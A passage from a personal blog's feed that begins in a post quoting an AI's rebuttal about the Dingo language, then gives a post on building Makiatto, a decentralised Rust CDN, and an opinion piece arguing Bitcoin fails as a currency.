  <p>The counter is right that TypeScript's core value is static types for a dynamic language. But the analogy isn't just about types—it's about the meta-language pattern: "write in X, compile to Y, keep full ecosystem compatibility." CoffeeScript did this. Sass does this. The analogy holds for the relationship, even if the specific value-add differs. But yes, leading with "TypeScript for Go" invites this exact misreading. It's bad marketing, not bad technology.</p>
  <p>Zero overhead — This one lands</p>
  <p>Fair hit. (int, error) is what Go developers write. A Result struct with pointer fields and methods is different. "Zero overhead compared to hand-written equivalent" would require generating (int, error) directly—which Dingo doesn't do. The defense was weak. I'll take this L.</p>
  <p>Regex context examples — Partially contestable</p>
  <p>The string example ("use ?? for defaults") is valid. Regex can't know it's inside quotes. But this is testable and fixable—preprocessors can skip string literals with a simple state machine without building a full lexer. The comment example (// x =&gt; y) same deal. These are bugs, not architectural failures. The fix is "make regex smarter about context," not "throw out the architecture."</p>
  <p>Transform order — Still defensible</p>
  <p>Yes, transforms happen before parsing. But the transforms are conservative—they target specific, unambiguous patterns. x? at the end of an expression is not valid Go, so transforming it can't break valid code. The fragility is theoretical until you show inputs that actually break. The manifesto asserts breakage without demonstrating it. Show me the failing case.</p>
  <p>Exhaustiveness 90% — I'll concede the number</p>
  <p>Made up. But the core point stands: Result and Option are the primary use cases for exhaustiveness. User-defined enums with exhaustiveness is a real gap. It's on the roadmap. Calling it "what's the point of user-defined enums" is hyperbolic—they still work, they just don't have compile-time exhaustiveness yet.</p>
  <p>Panics — Philosophically correct, practically irrelevant</p>
  <p>Yes, panic("unreachable") means "I hope this is unreachable" not "the compiler proved it." But in practice: if Dingo's exhaustiveness logic is correct, the panic never fires. If it's wrong, the panic surfaces the bug loudly. The alternative—returning zero values silently—is worse. "Real" exhaustiveness would require Go compiler changes. This is a pragmatic workaround, not a design failure.</p>
  <p>Rust syntax for Go developers — Actually contestable</p>
  <p>Go developers aren't allergic to new syntax. They learned :=, <-, go, defer. The claim that => is friction assumes Go developers can't learn one arrow. Meanwhile, =&gt; is in JavaScript, C#, Kotlin, Swift, Scala, and Dart. It's not "Rust syntax"—it's industry standard. The "Go syntax with extensions" approach forces awkward compromises to avoid any new tokens. That's a choice, not objectively correct.</p>
  <p>Namespace collision — Fair hit, weak defense</p>
  <p>Ok, Err, Some, None being global is a real problem. "Don't use common names" is cope. Proper namespacing (Result.Ok, Option.Some) would be better. This is technical debt that should be addressed.</p>
  <p>Backup files — No defense</p>
  <p>Embarrassing. Should be cleaned up. No argument.</p>
  <p>"Dingo ships" as argument — Withdrawn</p>
  <p>Fair. Shipping doesn't validate architecture. The technical critique stands on its own merits.</p>
  <hr />
  <p>What Actually Matters</p>
  <p>Strip away the rhetoric and there are two real critiques:</p>
  <ol>
  <li>Regex before parsing is fragile — True in theory. Undemonstrated in practice. Show me inputs that break. </li>
  <li>No proper Dingo type system — True. Exhaustiveness depends on pattern matching names, not types. This limits user-defined enums.</li>
  </ol>
  <p>Everything else is either fixable (backup files, namespace collision), aesthetic (Rust syntax), or pedantic (zero overhead semantics).</p>
  <p>The manifesto's emotional argument is "Claude made this and Claude is bad." The technical argument is "the architecture is inverted." The second one deserves engagement. The first one is cope for building a competing project.</p>
  <p>My honest take: Dingo's architecture is unorthodox and has real limitations. It's also working for its current scope. The question is whether the limitations block future growth. That's unknown until someone tries to extend it and fails.</p>
</blockquote>
<p>I gotta be honest guys, I don't think either Claude understood what I wrote.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[There Is No Greater Joy In Life Than Writing Distributed Systems]]></title>
        <id>https://justin.duch.me/post/makiatto</id>
        <link href="https://justin.duch.me/post/makiatto"/>
        <updated>2025-08-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Hello friends.</p>
<p>It's happened <a href="/post/bash_script_infra">again.</a></p>
<p>I've <a href="/post/rust_infra">once more</a> rebuilt all the infrastructure on this blog.</p>
<p>You may remember me saying this a little while ago in a <a href="/post/numby">previous post.</a></p>
<blockquote>
  <p>Next I want to figure out what I'm doing with deployment infrastructure. The obvious answer is Kubernetes and Pulumi, but I think it might not be too hard to edit <a href="/post/rust_infra">b8s</a> into something that works for Numby. And if that's the case, I may as well properly productionise it and make it more general purpose for other- and oh my Bidoof I'm just thinking about turning it into Kubernetes. Let's not do that.</p>
</blockquote>
<p>And well, the thing is…</p>
<p>I have <strong>NOT</strong> done that.</p>
<p><a href="https://github.com/halcyonnouveau/makiatto">Makiatto</a> is a CDN purely for serving <strong>static</strong> files. It is <strong>NOT</strong> Kubernetes, I will <strong>NEVER</strong> try to make Kubernetes. This blog does <strong>NOT</strong> need to run on <strong>ANYTHING</strong> like Kubernetes.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> And neither does Numby, because Numby is dead (I'm sorry you had to find out this way).</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Please forget that time when it was running on Kubernetes years ago.</span></aside>
<p>So what does Makiatto do that b8s didn't?</p>
<p>Well for starters, it isn't hardcoded to deploy my blog and is configurable with all kinds of domains and content you can serve from it.</p>
<p>Yes! That means <strong>YOU</strong> can use it!!!</p>
<p>But should <strong>YOU</strong> use it???</p>
<p>I dunno, if you want I guess.</p>
<p>I've also removed the Docker requirement, and now we just upload the files directly to the server instead of using Docker Hub as a useless middleman.</p>
<p>The trade-off to this is that there is no way to get "server-side" dynamic content, as I've had to drop <a href="/post/nbymx">nbymx.</a> But don't worry, I have a plan to add it back which I will explain later.</p>
<p>Another change is removing the central control plan that was the <code class="prettyprint">dom</code> daemon. If you remember, in b8s this was the daemon that ran on a separate server to all the nodes and was responsible for their orchestration, updating certificates, health checking (if I ever added it), and whatever else you'd expect.</p>
<p>Now the network is completely decentralised, mostly thanks to <a href="https://github.com/superfly/corrosion">Corrosion</a> a CRDT-based distributed SQLite database which allows us to easily share eventually consistent state between nodes.</p>
<p>It works very well, but truth be told, I'm not actually super happy with how it's being used right now. Makiatto actually embeds Corrosion, although I needed to fork it so it could run on the latest Rust version and update a few dependencies (to avoid conflicts).</p>
<p>The issue is that we're still "communicating" with Corrosion like it's an external process - calling its HTTP API to update and query data. This seems suboptimal, considering we should have access to its internals.</p>
<p>However, I think I tried doing that initially and I couldn't find a way to get it to work, which I guess is because Corrosion isn't really designed to be embedded. So perhaps my fork will need more work - and that would give me an excuse to trim some fat off it, and update the rest of the dependencies (because holy shit are these versions old).</p>
<p>And that's basically all the differences (in terms of features) to b8s. I know it doesn't seem like much, but b8s was really small. That thing is 2 thousand lines of code that was written in a little over a weekend, Makiatto took a month and is currently at 12 thousand lines (with a clear path to gain a lot more).</p>
<p>As it turns out, decentralised distributed systems are actually kinda hard to write. Who would have guessed?</p>
<p>They're also really fucking hard to test.</p>
<p>I've mostly focused on integration and e2e tests that revolve around Docker containers managed by the <code class="prettyprint">testcontainers</code> library. Each test spins up isolated environments with their own networking, file systems, and database instances. This allows tests to run in parallel without interfering with each other and gives us a lot of control over the context and environment that each container runs in, which lets us closely simulate how Makiatto would behave in production across multiple servers.</p>
<p>But this isn't enough, not even close.</p>
<p>Distributed systems are inherently non-deterministic. Unlike a single-process application where function calls happen in a predictable sequence, distributed systems involve multiple independent processes communicating over unreliable networks. Messages can arrive out of order, be delayed, or get lost entirely. A test that passes on your local machine might fail in CI simply because network latency was slightly different, making it extremely difficult to write reliable, reproducible tests.</p>
<p>As a related note, a very strange thing that has been happening to me while writing Makiatto is that tests are extremely flaky on my machine, with a few tests having to do several retries to pass, but not flaky at all in CI, where a test will rarely need to retry more than once. I don't know what to think of this, it's pretty much unheard of to me for tests to be flaky locally but not in CI. And I have no fucking idea why it's happening.</p>
<p>But back on topic - partial failures are the norm in distributed systems, not the exception. What happens when two of three nodes can communicate, but the third is network-partitioned? How does the system behave when a node crashes mid-replication? These failure modes are difficult to test because they require precise control over network conditions and process lifecycles. Makiatto's container-based approach helps by allowing tests to kill containers or manipulate network rules, but even then, covering all possible failure combinations is practically impossible.</p>
<p>Debugging failures is also pretty difficult. When a test fails, the relevant information is scattered across multiple containers' logs, database states, and network traces. A simple assertion failure might require correlating timestamps across different nodes to understand the sequence of events that led to the failure.</p>
<p>You have no idea how many times I've had to add a <code class="prettyprint">sleep(1000000000)</code> to a test so I could go and inspect the Docker containers to find out what state they're in and why. And then after I got the information I have to SIGTERM the test (unless I want to wait 31.709792 years for it to stop) which means the Rust destructor<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> for the context won't run, and I have to manually clean up everything, and <strong>ARRRGGHH</strong> SO ANNOYING. I HATE TESTS WHY CAN'T THINGS JUST WORK.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>When the context goes out of scope - Rust's `Drop` trait ensures all Docker containers are stopped and removed. This eliminates manual cleanup code and prevents resource leaks from orphaned containers. This is super useful for these tests. Another big win for the Rust crabs.</span></aside>
<p>But I guess this is what <a href="https://antithesis.com/">Anthithesis</a> is for. If only I was a popular cloud computing company like Fly.io, who can afford this service for their distributed database, and not just a mere sole developer who can only afford to rent 5 servers to put their blog on ;(</p>
<p>Though now that I think about it, maybe I <strong>don't</strong> want all these problems solved for me. Yes, all these failure modes are the most frustrating shit I've ever banged my head against, but you know, Bidoof gives His most difficult challenges to His strongest warriors.</p>
<p>I spent an entire day reading and thinking about consensus algorithms instead of actually doing my job, only to go home and write something that was completely overengineered and did not work at all in the slightest. That was the most fun I've had since I got Covid and wrote the DNS server that led me down this path two years ago.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Oh yeah, that's a little lore for you that I didn't mention in that initial post. I got Covid in the middle of my holiday.</span></aside>
<p>There's just something deeply compelling in getting these machines to work as a cohesive whole. When you see nodes find each other <em>almost</em> by themselves, start communicating, and replicating data across continents - I still can't really believe it works. Even though I wrote the fucking thing, it kinda feels like magic.</p>
<p>The <a href="https://en.wikipedia.org/wiki/CAP_theorem">CAP theorem</a> tells us that distributed systems can only guarantee two of three properties: Consistency (all nodes see the same data), Availability (the system stays operational), and Partition tolerance (surviving network splits). But in practice, it's even messier because performance is also part of the equation. Every architectural decision forces you to balance these competing concerns.</p>
<p>Even simple decisions like whether to verify content hashes on every file request forces you to choose between correctness (check every time), performance (trust the cache), or complexity (periodic background verification). These aren't bugs to fix but fundamental trade-offs where every choice sacrifices something - strong consistency means waiting for all nodes, high availability means accepting temporary inconsistencies, and maximum performance often means relaxing guarantees about data freshness.</p>
<p>This complexity means there's always something new to explore and optimise.  There's no "correct" answer - only choices that align better or worse with your specific requirements.</p>
<p>This is everything I want from programming.</p>
<p>So what's next for Makiatto?</p>
<p>Well I really need to write docs for it, it needs a few more CLI commands to help with managing nodes, and I certainly need to improve its resilience in node failure scenarios. But in terms of big features, I really want to have a way to get my dynamic content back.</p>
<p>And I already have a plan to achieve this by adding WebAssembly extensions. So it'll be like nginx JavaScript modules but with WebAssembly instead of JavaScript.</p>
<p>In fact, I want to go even further and let you upload and run WebAssembly through Makiatto, like Cloudflare Workers. I think that'd be sick, it's like a self-hosted <del>cgi-bin</del> serverless solution.</p>
<h2 id="epilogue">Epilogue</h2>
<p>I want to let you in a secret not many people know about me.</p>
<p>I used to <strong>like</strong> Go.</p>
<p>In fact, I'd say I've liked all the languages in my "main" four<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> - being Python, JavaScript, Go, and Rust. I mean, there's a reason I've learnt them to the degree that I have.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Main being defined by whether I feel comfortable writing software for other people in said language while being paid my standard rate for it.</span></aside>
<p>But pretty much since the start of my professional career, my approval for them has been declining - admittedly some faster than others (looking at you JavaScript).</p>
<p>The one exception is Rust.</p>
<p>And I've been thinking about that. I think it makes sense for there to not be one "best" language, and that you should use the best tool for the job. But I can't reconcile that with the fact that in almost every situation I can think of, I would always choose Rust.</p>
<p>Out of the last 3 years there has only been one time that I have chosen a different language for my job that didn't have the usual external pressures that would make me not choose Rust.</p>
<p>It was an 8pm task (with an 11pm deadline because my friends wanted to play Overwatch) to quickly create a prototype involving a lot of concurrent streaming. Go was the obvious choice. Then the following day I rewrote said prototype into TypeScript because the same external pressures that would make me not choose Rust also apply to Go.</p>
<p>But the point still stands. It really struck me - that was the first time in many years when I. Did. Not. Choose. Rust.</p>
<p>Why?</p>
<p>If Rust really is the best language that can and should be used for basically everything, why isn't everyone else using it? Are they stupid?</p>
<p>Now believe it or not, I don't really want to think everyone is stupid,<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> so maybe there's some other reason.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>I know, that probably is hard to believe, but just trust me.</span></aside>
<p>Since Rust is the newest language to me out of the "main" four, maybe it's just recency bias, and I'm still in the honeymoon phase. But I'm not convinced on that one, I started learning Rust in 2017 - that's plenty of time to fall out of love with it and is certainly a lot longer than what I've had with the other languages.</p>
<p>In fact my Rust usage has only been going up. I only like it more the more I learn about. Even as recently as the b8s post I said this in the epilogue:</p>
<blockquote>
  <p>But a website is like the one place I don't think Rust is that good for, I've tried it plenty of times and have never been particularly impressed.</p>
</blockquote>
<p>I'll have you know that Numby actually changed that position. I would <strong>absolutely</strong> use Rust for a website now. I mean, I still probably won't rewrite this blog in Rust - I have much more interesting problems to solve (see what this post is about), but any future websites (that don't have previously stated external pressures) I have to make will most likely be in Rust.</p>
<p>Although, I don't really enjoy making websites Rust or not, so hopefully that situation never comes.</p>
<p>But yeah, I just don't get it. This obsession with Rust <strong>feels</strong> irrational to me, and I am somewhat concerned I can't rationalise my way out of it. Like don't get me wrong, there are things I've come to dislike about Rust. But I'm also for some reason a lot more willing to forgive Rust for its problems than I am with other languages.</p>
<p>Why?</p>
<p>Like am I in a cult? That seems to be how other people see the Rust community. But I don't even really interact with the Rust community, I would not consider myself part of it anymore than I am a member of the Go or Python community.</p>
<p>I don't fucking get it dude.</p>
<p>I dunno what to do… ;(</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I Know You Don't Want To Hear My Opinion On AI, So Here's My Opinion On Bitcoin Instead]]></title>
        <id>https://justin.duch.me/post/bitcoin</id>
        <link href="https://justin.duch.me/post/bitcoin"/>
        <updated>2025-07-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Bitcoin does not work as a currency. Not because of technical limitations (though those exist), but because of a fundamental economic principle - deflationary currencies don't work.</p>
<p>Bitcoin's hard cap of 21 million coins was supposed to be a feature, not a bug. No more money printing! No more inflation! Except this creates the opposite problem. When you have a limited number of Bitcoins never increasing, but the number of Bitcoin-denominated items keeps increasing, each Bitcoin has to represent more and more value. If Bitcoin were actually used as a currency, and the global economy grew by 3% a year, that means everything priced in Bitcoin would get 3% cheaper every year.</p>
<p>And of those 21 million coins, estimates suggest 3-4 million are permanently lost<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a> - forgotten passwords, dead hard drives, that dude in Wales who threw away a hard drive with 8,000 BTC and has been trying to excavate a landfill for years. So the effective supply is more like 17 million and shrinking. Every year, more coins disappear forever through death, accidents, and human error. "Be your own bank" sounds great until you realise banks solved the "I forgot my password" problem centuries ago.</p>
<p>When you expect your currency to be worth more tomorrow than today, you're not going to spend it. You're going to hoard it. Now on an individual level this might seem good - "Oh cool, I'm getting richer while doing nothing!" But this is catastrophic for an economy. When people stop spending, businesses see less revenue. They cut costs, lay off workers, reduce production. Those laid-off workers spend even less. The businesses that survive lower wages to match falling prices. Meanwhile, anyone with debt gets crushed - your mortgage stays the same while your income drops. Eventually the whole economy grinds to a halt.</p>
<p>This is called the deflationary death spiral. We don't need to theorise about this - history shows us what happens. The Great Depression saw deflation of about 25%, and the result was catastrophic: unemployment hit 25%, GDP collapsed by 30%, and thousands of banks failed. Japan experienced mild deflation (1-2% annually) in the 1990s, and it led to decades of economic stagnation - the <a href="https://en.wikipedia.org/wiki/Lost_Decades">"Lost Decades."</a> When money gains value by sitting still, economies die.</p>
<p>This is why economists generally agree that mild inflation (2-3%) is actually good for an economy. That 2% target isn't arbitrary - it encourages people to spend or invest their money rather than hoarding it, keeps debt manageable (your fixed mortgage becomes easier to pay as wages rise), and gives central banks room to cut interest rates during recessions. It also solves the <a href="https://www.investopedia.com/terms/s/sticky-wage-theory.asp">"sticky wages"</a> problem - it's psychologically easier to give workers a 0% raise during tough times (a 2% real pay cut with inflation) than to actually cut their salary by 2%. A little inflation is the grease that keeps the economic machine running.</p>
<p>And I say economists "generally agree" for a reason. Obviously, not all economists subscribe to Keynesian economics, although it is the mainstream consensus for a reason. Most central banks and governments have adopted these policies because they've proven effective at managing economic stability - the post-WWII period saw far fewer and milder recessions than the pre-Keynesian era of boom-bust cycles.</p>
<p>But the Austrian School economists would argue that deflation is actually natural and beneficial - when productivity increases, prices should fall. They see the Great Depression not as proof that deflation is bad, but as evidence that government intervention made things worse. In their view, artificial inflation creates boom-bust cycles by sending false price signals that lead to malinvestment. They'd prefer a return to hard money like the gold standard, where money supply can't be manipulated by central banks.</p>
<p>Interestingly, most Austrian economists remain sceptical of Bitcoin despite sharing its hard money philosophy. They prefer gold because it has intrinsic value and thousands of years of monetary history. Bitcoin might have a fixed supply, but it's still just digital tokens backed by nothing but consensus.</p>
<p>Austrian economists like Robert Murphy have noted that Bitcoin poses challenges to Mises's "regression theorem" - the idea that money must evolve from commodities that had direct use value. So while Bitcoin maximalists often use Austrian economic arguments to justify deflationary currency, the actual Austrian economists aren't necessarily buying in.<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
<p>The transaction fees and speed make using Bitcoin as a currency even more absurd. Even at current low-congestion rates, right now a Bitcoin transaction costs 350 sats<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> and takes about 10 minutes to confirm.<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a> During busy periods, fees can spike to 50,000+ sats with hours-long waits. Imagine standing at Starbucks for 10 minutes waiting for your payment to clear, then paying 350 sats in fees on your 5,000 sat latte. That's the best-case scenario - during the 2021 bull run, you'd wait hours and pay 50,000 sats in fees. Visa processes 65,000 transactions per second. Bitcoin manages… seven.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>A "sat" is short for satoshi, the smallest unit of Bitcoin. One Bitcoin = 100 million sats. At current prices (~$100,000 per Bitcoin), one sat is worth about $0.001. We use sats when talking about everyday transactions because nobody wants to deal with decimals like 0.00005 BTC for a coffee - it's much cleaner to say 5,000 sats. It's like how you'd say "five dollars" instead of "0.005 thousand dollars."</span></aside>
<p>Although, in reality you might have already seen stores that accept Bitcoin, and the experience was nothing like that. And that's valid, but it's because they're almost always using payment processors like BitPay that instantly convert your Bitcoin to dollars. The merchant never actually touches Bitcoin - they get fiat. Others accept unconfirmed transactions and eat the fraud risk. For true peer-to-peer Bitcoin transactions, you're still looking at significant wait times and fees.</p>
<p>The Lightning Network is often proposed as a solution to these scaling issues. While it does enable faster and cheaper transactions through off-chain payment channels, it introduces its own complexities. You must still conduct on-chain transactions to open and close channels, incurring the original fees and delays. The network requires you to pre-fund channels and manage liquidity, creating a barrier to entry for non-technical users. And this tendency for payments to route through large hub nodes raises questions about centralisation. Most critically, Lightning doesn't address the core economic issue: if Bitcoin is primarily viewed as an appreciating asset rather than a medium of exchange, people will remain reluctant to spend it regardless of transaction efficiency.</p>
<p>Now, we like to be "Fair and Balanced™" here at quaso.engineering so I will admit there is some good to Bitcoin as a currency.</p>
<p>When Visa and Mastercard decide they don't like what you're selling, you're effectively banned from the modern economy. Steam has begun to remove adult games due to payment processor rules.<a href="#reference-4" class="reference-link" id="reference-4-backlink"><sup>[4]</sup></a> OnlyFans nearly banned adult content under the same pressure. Sex workers, legal cannabis businesses, WikiLeaks - all have been cut off from accepting payments because two companies control the rails.</p>
<p>Whether or not you oppose what's being sold isn't the point.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> It's that two companies have the power to dictate what billions of people can and cannot purchase online. Today it's adult content, tomorrow it could be queer media, controversial books, or anything else that the duopoly decides they don't like, or is pressured into by a bunch of prudes.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>I personally would rather not have porn games on Steam. But maybe that's because most of them don't seem very good.</span></aside>
<p>This is kinda the raison d'être for Bitcoin, so it makes sense it can at least achieve censorship resistance to some level.</p>
<p>International transfers to developing countries can also benefit. Between developed countries, services like PayPal or Wise work fine. But sending money to countries with limited banking infrastructure or capital controls often means high fees (5-10%) or simply being unable to send money at all. In these specific cases, remittances to unbanked areas or transfers to/from restricted countries - Bitcoin provides an option where traditional systems fail.</p>
<p>So what about Bitcoin as an investment? This is where things get more reasonable, but with important caveats.</p>
<p>The general rule of thumb among financial advisors who aren't trying to sell you something is to allocate about 1% of your portfolio to Bitcoin. Why so little? Because Bitcoin is essentially a speculative asset with no underlying cash flows, no dividends, no earnings - its value is purely based on what someone else will pay for it tomorrow. It's digital gold, except gold has industrial uses and thousands of years of history as a store of value.</p>
<p>That said, a small allocation makes sense from a portfolio diversification perspective. Bitcoin has shown low correlation with traditional assets (though this breaks down during market crashes when everything correlates to 1). Its extreme volatility means even a small position can have meaningful impact on returns without torpedoing your entire portfolio if it goes to zero.</p>
<p>The key is treating it like what it is: a high-risk, high-volatility speculation. Not a currency, not "digital gold," not a hedge against inflation (it crashed 70% in 2022 while inflation hit 40-year highs). Just a volatile asset that might go up a lot or might go to zero.</p>
<p>But even as a pure investment, there are ethical considerations. Bitcoin mining consumes more electricity than entire countries - current estimates put it around 190 TWh annually,<a href="#reference-5" class="reference-link" id="reference-5-backlink"><sup>[5]</sup></a> comparable to Argentina. The majority of this energy still comes from fossil fuels, despite industry claims about renewable adoption. You're essentially betting on an asset whose value creation mechanism is "burn electricity to guess numbers."</p>
<p>And while illicit activity represents a small percentage of total crypto volume, it still amounts to billions - Chainalysis tracked $22.2 billion sent from illicit addresses in 2023.<a href="#reference-6" class="reference-link" id="reference-6-backlink"><sup>[6]</sup></a> And that's just what they can identify.</p>
<p>The common defence is that Bitcoin's public ledger makes it unsuitable for crime - why would criminals use something that records every transaction? This misses the point.</p>
<p>For ransomware operators and online fraudsters, the alternative isn't cash, it's not getting paid at all. Pseudonymous addresses combined with mixing services and cross-chain bridges make tracing difficult without massive resources. It's like saying criminals won't use cars because license plates exist. When law enforcement shuts down one mixer like Sinbad, criminals quickly pivot to alternatives like YoMix.</p>
<p>The issue isn't that criminals use Bitcoin - it's that buying Bitcoin provides the exit liquidity they need to cash out. Ransomware barely existed before cryptocurrency because there was no way to receive <em>practically</em> untraceable payments at scale. Now hospitals and schools get shut down by hackers who know they can get paid. Any investment into it helps maintain the system that makes these crimes profitable.</p>
<p>To be fair, many investments have ethical problems. Housing speculation drives up prices and makes shelter unaffordable. Oil stocks profit from environmental destruction. Tech companies violate privacy and exploit monopolies. The difference is that these at least produce something useful as a byproduct - housing provides shelter, oil provides energy, tech companies provide services. Bitcoin's only outputs are speculation opportunities and a payment rail for ransomware, while consuming nation-state levels of electricity. But yes, if you're concerned about ethics, you probably shouldn't be investing in most things.</p>
<p>The fact of the matter is, the wealthy now primarily gain more wealth by moving money around in complicated ways instead of producing anything of value. Bitcoin is now undoubtedly part of that game, as all other investments are. It's up to you if you want to play along.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Believe it or not I was planning on making this post a defence of Bitcoin as an investment strategy, because I do think, yeah you probably should have a little. But uhhhh yeah... this hasn't exactly turned out how I first thought it would.</span></aside>
<p>Speaking of moving money around in complicated ways, have you heard about the latest trend: companies transforming themselves into "Bitcoin treasury companies?" The playbook was pioneered by MicroStrategy, a software company with an unprofitable core business that somehow became a $100 billion company by buying Bitcoin.</p>
<p>MicroStrategy seems to have discovered an "infinite money glitch," in which the found that investors would pay a significant premium for their stock relative to the actual value of the Bitcoin they held. So they'd issue more stock or convertible bonds, use the proceeds to buy more Bitcoin, which drives up Bitcoin's price, which drives up their stock price, which lets them issue more stock at even higher prices. Rinse and repeat.</p>
<p>The CEO behind this strategy, Michael Saylor, isn't exactly new to creative accounting - he settled a $40 million tax fraud lawsuit with D.C.<a href="#reference-7" class="reference-link" id="reference-7-backlink"><sup>[7]</sup></a> But his Bitcoin strategy has been wildly successful, at least on paper. MicroStrategy can now issue convertible bonds with zero interest because investors are essentially buying lottery tickets on the stock's volatility, which exceeds even Bitcoin's notorious price swings.</p>
<p>Now, over 130 companies now collectively own more than 3% of the total Bitcoin supply, a nearly 170% surge in the past year.<a href="#reference-8" class="reference-link" id="reference-8-backlink"><sup>[8]</sup></a> The Smarter Web Company, a modest web design firm in Guildford, saw its market cap explode from £3.7 million to nearly £1 billion after announcing Bitcoin purchases.<a href="#reference-9" class="reference-link" id="reference-9-backlink"><sup>[9]</sup></a> Even GameStop, the meme stock darling, jumped on the bandwagon.<a href="#reference-10" class="reference-link" id="reference-10-backlink"><sup>[10]</sup></a></p>
<p>The playbook is simple - announce you're buying Bitcoin, watch your stock price soar, issue more shares or debt at inflated prices, buy more Bitcoin.</p>
<p>So, why would you pay huge premiums for companies that just own Bitcoin when they could… just buy Bitcoin? Good question. Bitcoin ETFs already exist. But apparently, the complexity and leverage make it more exciting.</p>
<p>These companies can issue debt to buy more Bitcoin, amplifying both gains and losses. They attract options traders who want leveraged exposure. Some investors prefer the familiar structure of owning stock rather than dealing with crypto wallets and exchanges. Others are drawn to the volatility - MicroStrategy's stock often moves 2-3x more than Bitcoin itself, creating a high-stakes derivative play.</p>
<p>The risks are obvious. These strategies haven't been tested by a prolonged crypto winter. Companies loaded with debt to buy Bitcoin at $100,000 might struggle if it drops to $30,000. Shareholders who didn't sign up for their operating company to become a leveraged crypto fund might revolt. But for now, while the music's playing, everyone's dancing.</p>
<p>It is kinda funny though, Bitcoin was created in response to the 2008 financial crisis as a decentralised alternative to traditional finance. Now Wall Street has turned it into just another financial engineering tool, complete with derivatives, leverage, and all the complexity that caused the crisis in the first place. Companies that actually make things are abandoning their businesses to become crypto hedge funds because the stock market rewards Bitcoin hoarding more than actual productivity.</p>
<p>As for other cryptocurrencies? They fail even harder as currencies. They take all of Bitcoin's problems and add new ones - even less adoption, worse liquidity, and often centralised ownership where founders hold 20-50% of tokens. At least some people pretend Bitcoin is "digital gold." Nobody even pretends Dogecoin or Shiba Inu are anything but gambling tokens. They're purely speculative assets with meme-based marketing, riding on Bitcoin's coattails while offering nothing but more volatile casino chips.</p>
<p>I wouldn't consider gambling to be in the same vein as investing. Which is why all my gambling is limited to rolling for <a href="/post/hsr_gacha">anime waifus,</a> so I would stay away from all of these memecoins if I were you.<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span></p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Yes every cryptocurrency that isn't Bitcoin is a memecoin. That's a fact, and you can't convince me otherwise.</span></aside>
<p>A few cryptocurrencies try to solve the utility problem, like Ethereum and Solana. But they just created new problems. DeFi turned out to be mostly circular lending schemes that regularly get hacked for millions. NFTs were supposed to revolutionise digital ownership but became wash-traded JPEGs. DAOs promised decentralised governance but discovered you can't govern by code when someone exploits your code, nor do you want a project governed by a bunch of terminally online LARPers.</p>
<p>Web3 didn't live up to the hype because it died, it was never alive to begin with.</p>
<p>Every year I try to find something that I <strong>want</strong> to spend my Ethereum on. What I talk about in <a href="/post/web3_immortal">this post</a> is the closest I've ever gotten, and I conclude it with saying (paraphrased): "this only kinda works, so hopefully it gets better in the future."</p>
<p>So has it gotten better?</p>
<p>FUCK. NO.</p>
<p>Oh, but Justin it's only been 4 years since you wrote that! This stuff takes time!</p>
<p>Shut the fuck up idiot. Two years is the difference between OpenAI's GPT-1 and GPT-3, which was a jump so large I thought it would take three times as long at the time.</p>
<p>Look, I like cool and interesting technology. I really believed that this Web3 shit could have been that, but for whatever reason,<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> the bag has been fumbled majorly.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>I am 90% sure the reason is that all of this is treated as a speculative investment and a way to get rich quick by the majority of people in the crypto space. I do not believe decentralised networks and wealth generation are compatible ideas. They will always be at odds. Kinda like democracy and capitalism, but that's for another time.</span></aside>
<p>It'd be nice to be proven wrong on this, but I just don't see that happening especially with all the negative PR. The term "blockchain" has become so toxic that legitimate technologists actively avoid it. Say you're building a "blockchain application" and people immediately assume you're launching another rugpull token. The association with scams, NFT grifts, and crypto bros has poisoned the well for anyone trying to build actual useful technology.</p>
<p>The technology may have legitimate uses, but it's been so thoroughly associated with fraud that it's become a career-limiting move to work on it.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://www.ledger.com/academy/topics/economics-and-regulation/how-many-bitcoin-are-lost-ledger</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://mises.org/power-market/murphy-bitcoin-and-regression-theorem</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://www.blockchain.com/explorer/charts/avg-confirmation-time</div>
<div class="reference" id="reference-4"><a class="reference-link" href="#reference-4-backlink"><sup>[4]</sup></a>: https://gamerant.com/steam-removed-games-publishing-rules-update/</div>
<div class="reference" id="reference-5"><a class="reference-link" href="#reference-5-backlink"><sup>[5]</sup></a>: https://ccaf.io/cbnsi/cbeci</div>
